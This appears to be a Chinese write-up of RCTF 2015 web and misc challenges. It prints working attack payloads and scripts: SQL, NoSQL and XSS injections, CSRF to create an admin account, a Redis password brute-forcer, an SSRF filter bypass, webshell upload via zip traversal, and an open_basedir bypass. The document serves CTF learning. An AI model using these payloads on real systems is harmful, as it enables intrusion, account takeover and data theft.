zl程序教程

您现在的位置是:首页 >  其他

当前栏目

RCTF2015_writeup

2023-03-07 09:48:23 时间

这次的rctf貌似是第一次举办,而且还是所属xctf,所以出现了好多大牛队伍,题目脑洞大还要强行增加难度(估计出题人已经把能想到的问题全部扔上去了),也不知道是受了什么的刺激,不管怎么样,还是从一大堆注入题目中学习了不少没见过的注入姿势,留下writeup…

WEB

WEB 100 upload (文件名 insert injection)

打开页面是这样的,稍微试试,发现并不是upload,上传成功之后会发现会显示上传的文件名,所以想到应该是insert injection,过滤了and, select, union, from, sleep, benchmark, substring这样的,但是可以通过scrscriptipt这样的方式绕过。 开始尝试的很多方式都没有回显,所以放弃了,后来看到writeup才明白,表中的结构大概是 ‘文件名’,’uid’,’uid’ 而uid返回的都是数字,所以如果没有在对应的位置的话的确不会出现回显,当然如果强行返回数字,也是可以,但是有个验证码存在,所以需要很长很长时间才能得到flag,不过得到正确的表结构就很简单了。

文件名','uid','uid'),((database()),'uid','uid')

按照这样的方式下去,慢慢就能get flag

WEB 150 weeeeeb3 (修改密码逻辑漏洞 ip伪造 上传绕过)

题目是这样的,稍微翻翻发现在修改密码的地方存在两部,第一步判断成功后进入第二步修改密码

在这里可以抓包并修改admin的密码,开始还以为无效,后来发现是登陆的人太多了,所以必须跑脚本才能成功。

登陆上去后,点message提示ip不对,于是去修改xff(X-Forward-For)和ci(Cilet ip),登陆后提示 <!– index.php?module=filemanage&do=???–> 这里一通乱试发现upload成功了,出现了一个上传页面,这里居然还没有结束,好烦只能继续… 随便上传试试,发现什么都没有提示 You know what I want! 既然这样就是是php 提示Something shows it is a php! 后来试了试怎么都过不了<?所以放弃了,看writeup学到个黑科技 phpinfo() (这都可以。。。)get flag

WEB 150 easysql (显错注入 花式bypass)

题目登陆后是这样的

发现注册时候加入“后,修改密码报错 一下子了然了,是显错注入,过滤rand @ ` 空格 order /*/ /! */ %20 %09 %0a %0b %0c %0d 也就是传统的显错方式不可以,还过滤了各式各样的空格,所以limit也不能使用,这里先给出payload,后面再另写文章关于显错注入。

username=ddog"||updatexml(0x7c,concat((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^R'))),1)#&password=123&email=123

过滤了炒鸡多标签,这次还过滤了大小写和url编码,所以就要找写没有被过滤的特殊标签了,开始想到的是svg,但是basa64编码过的总是出现on被过滤,而且只存在在firefox,而题目要求chrome所以有点儿雪崩,后来看了writeup,知道了link这个黑科技。

<link rel="import" href="data:text/html;base64,PHNjcmlwdD5kZWxldGUgYWxlcnQ7YWxlcnQoIkhlbGxvIik7PC9zY3JpcHQ+">

这样就可以弹窗了,翻翻源码,发现是要把消息发给admin,然后以amdin账号注册账号,典型的csrf。

<!--only for admin
<form action="" method="post">
username:<input type="text" name="name"><br />
password:<input type="password" name="pass"><br />
<input type="radio" name="isadmin" value="0">user
<input type="radio" name="isadmin" value="1">admin<br />
<input type="hidden" name="token" value="34a1615ff3eaf616f7fa205a12792d27">
<input type="submit" name="adduser" value="adduser">
</form>-->

在writeup中是直接通过jq写个post请求添加

<script src=http://180.76.178.54:8004/4b79f5d4860384d4ac494ad91f5313b7/js/jquery.js></script>
<script>
$.ajax({
type: "post",
url: "",
data: "name=tomato123&pass=tomato123&isadmin=1&adduser=adduser&token="+$("input[name=token]").val()})
</script>

然后构造payload

<link rel="import" href="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzE4MC43Ni4xNzguNTQ6ODAwNC80Yjc5ZjVkNDg2MDM4NGQ0YWM0OTRhZDkxZjUzMTNiNy9qcy9qcXVlcnkuanM+PC9zY3JpcHQ+CjxzY3JpcHQ+CiQuYWpheCh7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB0eXBlOiAicG9zdCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1cmw6ICIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGF0YTogIm5hbWU9dG9tYXRvMTIzJnBhc3M9dG9tYXRvMTIzJmlzYWRtaW49MSZhZGR1c2VyPWFkZHVzZXImdG9rZW49IiskKCJpbnB1dFtuYW1lPXRva2VuXSIpLnZhbCgpfSkKPC9zY3JpcHQ+">

找到admin.php,然后登陆得到flag

WEB 300 login (mongodb注入加不拉不拉一堆坑)

这里直接卡在第一步,虽然听过这样的注入,但是还是没研究过,先贴上关于mongodb注入的资料 http://drops.wooyun.org/tips/3939 跑出账号的脚本长这样(看不懂,先留着)

<?php 

ini_set("max_execution_time", 100);

echo 'start<br />';
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/checkLogin.php');
curl_setopt ($ch, CURLOPT_HTTPHEADER , array("X-Requested-With: XMLHttpRequest"));
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);

$ori = '0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPASDFGHJKLZXCVBNM_';
$str = '';
for ($i=0; $i <40 ; $i++) {
	if($i > (strlen($str)+1) )
		break;
    for ($j=0; $j <strlen($ori) ; $j++) { 
        $post = 'username[$regex]=/^'.$str.$ori[$j].'.*/&password[$ne]=admin';
        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        $data=curl_exec($ch);
        if (strlen($data) == 104) {
           $str.=$ori[$j];
           break;
        }
    }
}
$username = $str;
$str = '';
for ($i=0; $i <40 ; $i++) {
	if($i > (strlen($str)+1) )
		break;
    for ($j=0; $j <strlen($ori) ; $j++) { 
        $post = 'username='.$username.'&password[$regex]=/^'.$str.$ori[$j].'.*/';

        curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
        $data=curl_exec($ch);
        if (strlen($data) == 104) {
           $str.=$ori[$j];
           break;
        }
    }
}
$password = $str;
echo 'username='.$username."<br />";
echo 'password='.$password."<br />";
echo 'end!';
?>

得到账号密码ROIS_ADMIN pas5woRd_i5_45e2884c4e5b9df49c747e1d 登陆后是这样的

下载备份文件,发现是一个php的解压zip的类,然后百度找到官方提供的,在diff一下 源码里发现

$Agent = $_SERVER['HTTP_USER_AGENT'];
$backDoor = $_COOKIE['backdoor'];
$msg = json_encode("no privilege");
$iterations = 1000;
$salt = "roisctf";
$alg = "sha1";
$keylen = "20";
if ($Agent == $backDoor || strlen($Agent) != 65) {
    exit($msg);
}
if (substr($Agent,0,23) != "rois_special_user_agent") {
    exit($msg);
}
if (pbkdf2($alg, $Agent, $salt, $iterations, $keylen) != pbkdf2($alg, $backDoor, $salt, $iterations, $keylen)) {
    exit($msg);
}

测试发现直接上传zip提示没有权限,然后只有过了上面三个条件才行。主要是第三个条件不好过,然后google一发 pdkdf2 ctf

找到了这个 PBKDF2+HMAC collision 然后在https://mathiasbynens.be/notes/pbkdf2-hmac 这篇文章里面说到这个是可以碰撞的,就是不同的明文会出现相同的密文,然后用里面提供的脚本跑一发。成功跑出来一个

rois_special_user_agentaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaamipvkd
3-Rfm^Bq;ZZAcl]mS&eE

然后改一下ua,在cookie里面添加backdoor就可以成功上传了

按照解压出来的文件的命名规则为md5(文件名+RoisFighting).文件的后缀 但是访问http://180.76.178.54:8005/53a0fb1b692f02436c3b5dda1db9c361/upload/image/051ee28a1964f9f2779d32f2e48212cb/70d08f9380da3a6e0440b3266a2a39f6.php 文件并不存在,测试发现在解压后会直接删除文件,所以我们可以尝试构造一个解压到上级目录的shell

shell地址就是 http://180.76.178.54:8005/ 53a0fb1b692f02436c3b5dda1db9c361/upload/image/382aef24b11f8c5222bc58062a9bf5c7.php

后面的反正是看不懂,就都扔上去了

WEB 500 糊上来官方的writeup

1.通过目录猜解1.sql数据备份文件可以知道,admin用户的密码就是admin,username字段长度16,password字段长度32。 通过测试,可以利用长字符截断admin 1(长度大于16),admin 1(长度大于32),绕过admin不能登录的限制。

2.登录后台,是admin的信息,查看源码,根据提示,即通过社工。即要破解某个服务的密码。nmap扫描,得到redis服务的端口。即要爆破redis的密码。

3.写脚本,爆破redis密码,由上面admin的信息内容,通过查找社工库得到gmail的密码是rkr4me,但这不是他真正的密码。结合其他信息,根据关键字写个脚本生成字典。 生成字典脚本

#!/usr/bin/env python

import itertools

fp = open('social.txt','w')
keyword = ['JiaoXiaoMing', 'jiaoxiaoming', 'jxm', 'Jxm', 'JXM', '19960708', '960708', '0708', 'rkr4me']
for i in range(1,9):
    for e in itertools.permutations(keyword, i):
        st = ''.join(e)
        fp.write(st+'\n')
fp.close()

爆破密码脚本

#!/usr/bin/env python

import redis

fo = open('social.txt', 'r')
for line in fo.readlines():
    line = line.strip('\n').strip()
    r = redis.Redis(host='180.76.178.50', port=6379, db=0, password=line) 
    try:
        r.info()
    except Exception,e:
        #print e
        continue
    else:
        print line
	break

最后爆破出来的密码是Jxm0960708rkr4me

4.连上redis,redis getshell需要网站路径。则想办法获取网站路径,网站路径报错没有回显,那就要额外的方法了。网站也没有phpinfo文件,然后通过login.php~备份文件获取到了internal.php这个路径,但是无法访问,根据内部测试系统,可能是限制ip。那通过伪造Client-ip: 127.0.0.1进入了internal.php页面,有个测试接口。

自然想到了csrf,csrf过滤了一些内容,不断调试,构造payload,得到http://a@127.0.0.1.xip.io:80此类的构造,也就是要有xxx@,xip.io:端口,这样才能绕过过滤(前面有些bug,被各路大牛更轻易绕过)。然后通过csrf扫描端口和路径,得到8080端口,payload是这样的http://abc@127.0.0.1.xip.io:8080/index.php 得到里面的部署提示,实际网站部署在he1m4n6a目录下,根据8080首页即phpinfo内容,得到网站真实路径/var/www/rois/he1m4n6a

5.Redis 设置好路径,getshell后,发现无法访问根目录。应该是openbase_dir设置的,那就上传一个文件绕过openbase_dirphp文件,列出更目录所有文件,得到根目录的一个文件名rctf{xxx},便是flag

<?php $file_list = array(); 
    $it = new DirectoryIterator("glob:///*"); 
    foreach($it as $f) {
        $file_list[] = $f->__toString();
    }  
    $it = new DirectoryIterator("glob:///.*"); 
    foreach($it as $f) { 
        $file_list[] = $f->__toString();
    }
    sort($file_list);
    foreach($file_list as $f) {
        echo file_get_contents({$f}); 
        echo "{$f}<br/>";
    }
?>

6.服务器后台自动运行脚本,每隔一段时间会删除无关文件,所以你得写脚本不断上传webshell,或者webshell写入内存中,或者手速快的就好了。。

MISC

MISC 10

360出过的花键盘,没什么意思,还出了几个假flag,实话说这种手段特别无聊,还影响人

MISC 50 日志分析

蛮有意思的题目,开始已经在想是不是要东西,后来发现其实是sqlmap跑密码的日志,根据日志可以分析出flag 附上脚本

import urllib

log = open('log_flag.log','r')
log2 = open('log_flag_urldecode2.log','w')

for eachLine in log:
        pos = eachLine.find('id=')
        result = urllib.unquote(eachLine[pos+3:])
        if result.find('!=') != -1:
                log2.write(result[result.find('!=')+2:result.find('),S')] + ',')

log.close()
log2.close()

MISC 100 (花式脑洞密文)

没记错的话打开是张图片,开始以为是有隐写,后来在网上找到了原图,对比发现毛区别都没有,只有在EXIF信息中找到 GMYDGMJTGEZTCMZQGMYDGMJTGEZTAMZRGMYTGMJTGEZTCMZRGMYTGMBTGAZTAMZRGMYDGMJTGEZTCMZRGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYTGMBTGEZTCMZRGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMBTGAZTAMZRGMYTGMBTGEZTCMZRGMYDGMJTGEZTCMZQGMYTGMJTGAZTAMZRGMYDGMJTGEZTCMZQGMYTGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTCMZRGMYDGMJTGAZTCMZQGMYTGMBTGAZTCMZQGMYDGMJTGAZTCMZRGMYDGMBTGAZTCMZRGMYTGMBTGEZTCMZQGMYTGMBTGAZTCMZQGMYDGMBTGEZTAMZRGMYTGMBTGEZTAMZRGMYTGMJTGAZTCMZQGMYDGMJTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTCMZQGMYDGMBTGEZTAMZQGMYTGMJTGEZTAMZRGMYDGMJTGEZTAMZRGMYDGMJTGAZTCMZRGMYDGMBTGEZTAMZQGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTAMZRGMYTGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZQGMYTGMJTGEZTAMZRGMYTGMBTGAZTCMZQGMYTGMJTGEZTAMZRGMYTGMJTGAZTCMZRGMYDGMJTGEZTCMZQGMYDGMJTGAZTAMZRGMYDGMJTGAZTAMZRGMYDGMBTGAZTCMZRGMYTGMJTGAZTCMZQGMYTGMBTGEZTCMZQGMYDGMJTGAZTCMZQGMYDGMBTGAZTCMZQGMYDGMJTGEZTAMZR

开始一直以为是payfair全大写字母加密,后来发现其实是base32,接出来是一对3130.再解一次hex,得到01字符串 0111001101111111000101111100100101110111111011001010001101110111011001011101010010010111100011101010100100101100011101101001000101101011101001010111011001011110001001110101101010110010010010111011100111110010010100011101100101110111011011100100101001000111101010110010100001001101 可惜280位,没办法开方,所以应该不是二维码,想到7位一组,但是因为字符集不可定,所以最后没解出来,最后等等writeup吧